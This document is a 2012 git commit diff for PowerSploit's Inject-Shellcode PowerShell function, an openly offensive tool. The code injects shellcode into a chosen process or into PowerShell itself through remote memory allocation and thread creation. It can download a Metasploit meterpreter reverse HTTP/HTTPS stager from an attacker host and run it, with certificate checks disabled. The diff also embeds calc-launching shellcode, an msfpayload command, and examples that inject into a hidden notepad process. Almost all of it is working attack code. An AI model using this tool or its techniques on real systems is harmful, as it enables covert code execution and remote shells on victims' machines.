Updated Inject-Shellcode and style guide

New Features/Changes:

- Dramatically simplified parameters. Removed redundancies and named
parameter sets more appropriately
- Added 'Shellcode' parameter. Now, you can optionally specify shellcode
as a byte array rather than having to copy and paste shellcode into the
$Shellcode32 and/or $Shellcode64 variables
- Added 'Payload' parameter. Naming is now consistant with Metasploit
payloads. Currently, only 'windows/meterpreter/reverse_http' and
'windows/meterpreter/reverse_https' payloads are supported.
- Inject-Shellcode will now prompt the user to continue the 'dangerous'
action unless the -Force switch is provided. Hopefully, this will
prevent some people from carrying out stupid/regrettable actions.
- Added the 'ListMetasploitPayloads' switch to display the Metasploit
payloads supported by Inject-Shellcode

Bug fixes/Miscellaneous:

- Added UserAgent parameter to help documentation
- Code is much more readable now
- Changed internal helper functions to 'local' scope
- Now using proper error handling versus Write-Warning statements
- Added a subtle warning to the built-in shellcode...
This commit is contained in:
bitform
2012-08-20 20:14:01 -04:00
parent 2b5ac68b9c
commit c7fa339012
2 changed files with 406 additions and 188 deletions
+402 -182
View File
@@ -1,157 +1,226 @@
function Inject-Shellcode {
function Inject-Shellcode
{
<#
.Synopsis
.SYNOPSIS
PowerSploit Module - Inject-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.Description
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
Inject-Shellcode injects shellcode into the process ID of your choosing or within PowerShell locally.
PowerSploit Module - Inject-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
.DESCRIPTION
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your
shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode.
It's entirely unnecessary.
.Parameter ProcessID
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Process ID of the process you want to inject shellcode into.
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.Parameter Remote
.PARAMETER ProcessID
Indicates that you want to inject into a remote process.
.Parameter Local
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Indicates that you want to inject within PowerShell.
.Parameter Meterpreter_Reverse_Http
Establish a reverse meterpreter shell over HTTP. Note: This will only work in 32-bit PowerShell.
.Parameter Meterpreter_Reverse_Https
Establish a reverse meterpreter shell over HTTPS. Note: This will only work in 32-bit PowerShell.
.Parameter Lhost
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Specifies the IP address of the attack machine waiting to receive the reverse shell
.Parameter Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.Example
Lists all of the available Metasploit payloads that Inject-Shellcode supports
PS> Inject-Shellcode -Remote 4274
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Description
-----------
Inject shellcode into process ID 4274.
.Example
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
PS> Inject-Shellcode -Local
Description
-----------
Inject shellcode into the running instance of PowerShell.
.Example
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
PS> $Proc = Get-Process notepad
PS> Inject-Shellcode -Remote -ProcessId $Proc.Id -Meterpreter_Reverse_Https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
.PARAMETER UserAgent
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
with the following options:
Payload options (windows/meterpreter/reverse_https):
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Force
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.Example
Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act.
PS> Inject-Shellcode -Local -Meterpreter_Reverse_Http -Lhost 192.168.30.129 -Lport 80
.EXAMPLE
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
with the following options:
Payload options (windows/meterpreter/reverse_http):
C:\PS> Inject-Shellcode -ProcessId 4274
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.Notes
Description
-----------
Inject shellcode into process ID 4274.
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables.
.Link
.EXAMPLE
My blog: http://www.exploit-monday.com
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
C:\PS> Inject-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Inject-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Inject-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding(DefaultParameterSetName = '1')] Param (
[Parameter(Position = 0)] [String] $ProcessID,
[Parameter()] [Switch] $Remote = $false,
[Parameter()] [Switch] $Local = $true,
[Parameter(Mandatory = $True, ParameterSetName = '2')] [Switch] $Meterpreter_Reverse_Http,
[Parameter(Mandatory = $True, ParameterSetName = '3')] [Switch] $Meterpreter_Reverse_Https,
[Parameter(Mandatory = $True, ParameterSetName = '2')]
[Parameter(Mandatory = $True, ParameterSetName = '3')] [Int] $Lport = 8443,
[Parameter(Mandatory = $True, ParameterSetName = '2')]
[Parameter(Mandatory = $True, ParameterSetName = '3')] [String] $Lhost = '127.0.0.1', # Defaults to localhost in case a mistake is made
[Parameter(ParameterSetName = '2')]
[Parameter(ParameterSetName = '3')] [String] $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
[Switch]
$Force = $False
)
if ($Remote -and !$ProcessID) {
Write-Warning "You must specify a process ID!"
return
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Inject-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
try {
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
} catch [System.Management.Automation.ActionPreferenceStopException] {
Write-Warning "Process does not exist!"
return
}
function Get-DelegateType
function Local:Get-DelegateType
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters,
[Parameter(Position = 1)] [Type] $ReturnType = [Void]
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
@@ -163,14 +232,23 @@ function Inject-Shellcode {
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
return $TypeBuilder.CreateType()
Write-Output $TypeBuilder.CreateType()
}
function Get-ProcAddress
function Local:Get-ProcAddress
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
@@ -184,24 +262,29 @@ function Inject-Shellcode {
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) {
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function ConvertTo-LittleEndian ([IntPtr] $Address) {
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
return $LittleEndianByteArray
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8) {
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
@@ -209,7 +292,9 @@ function Inject-Shellcode {
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
} else {
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
@@ -219,15 +304,18 @@ function Inject-Shellcode {
$CallStub += 0xFF,0xD0 # CALL EAX
}
return $CallStub
Write-Output $CallStub
}
function Inject-RemoteShellcode ([Int] $ProcessID)
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess) { Write-Warning 'Unable to open process handle.'; return }
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
@@ -235,26 +323,52 @@ function Inject-Shellcode {
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit) {
Write-Warning 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'; return
} elseif ($IsWow64){
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
} else {
if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
Write-Verbose 'Using 64-bit shellcode.'
$Shellcode = $Shellcode64
}
} else {
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate shellcode memory in remote process.'; return }
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
@@ -263,19 +377,29 @@ function Inject-Shellcode {
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64) {
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
} else {
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr) { Write-Warning 'Unable to allocate thread call stub memory in remote process.'; return }
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
@@ -283,7 +407,11 @@ function Inject-Shellcode {
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle) { Write-Warning 'Unable to launch remote thread.'; return } # Error launching thread
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
@@ -291,21 +419,37 @@ function Inject-Shellcode {
Write-Verbose 'Shellcode injection complete!'
}
function Inject-LocalShellcode
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if (!$Shellcode32) { Write-Warning 'No shellcode was placed in the $Shellcode32 variable!'; return }
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
} else {
if (!$Shellcode64) { Write-Warning 'No shellcode was placed in the $Shellcode64 variable!'; return }
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress) { Write-Warning 'Unable to allocate shellcode memory.'; return }
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
@@ -314,17 +458,26 @@ function Inject-Shellcode {
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit) {
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit shellcode.'
} else {
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit shellcode.'
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress) { Write-Warning 'Unable to allocate thread call stub memory.'; return }
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
@@ -332,7 +485,10 @@ function Inject-Shellcode {
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle) { Write-Warning 'Unable to launch thread.'; return } # Error launching thread
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
@@ -342,41 +498,92 @@ function Inject-Shellcode {
Write-Verbose 'Shellcode injection complete!'
}
$64bitCPU = $true
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr) {
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
} else {
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4) { $PowerShell32bit = $true } else { $PowerShell32bit = $false }
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($Meterpreter_Reverse_Http -or $Meterpreter_Reverse_Https) {
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
Write-Warning 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
return
Throw 'The meterpreter reverse http payload is only compatible with 32-bit PowerShell'
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
if ($Meterpreter_Reverse_Https) { $SSL = 's'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } }
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
try {
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
[Byte[]] $Shellcode64 = $Shellcode32
} catch {
Write-Warning "Unable to connect to $Request"
return
}
} else {
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
# Pop a calc... or whatever shellcode you decide to place in here
# I sincerely hope you trust that this shellcode actually pops a calc...
# Insert your shellcode here in the for 0xXX,0xXX,...
# 32-bit payload
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
@@ -415,7 +622,9 @@ function Inject-Shellcode {
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ($Remote) {
if ( $PSBoundParameters['ProcessID'] )
{
# Inject shellcode into the specified process ID
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
@@ -433,9 +642,16 @@ function Inject-Shellcode {
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
Inject-RemoteShellcode $ProcessId
} else {
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
@@ -450,8 +666,12 @@ function Inject-Shellcode {
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
Inject-LocalShellcode
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}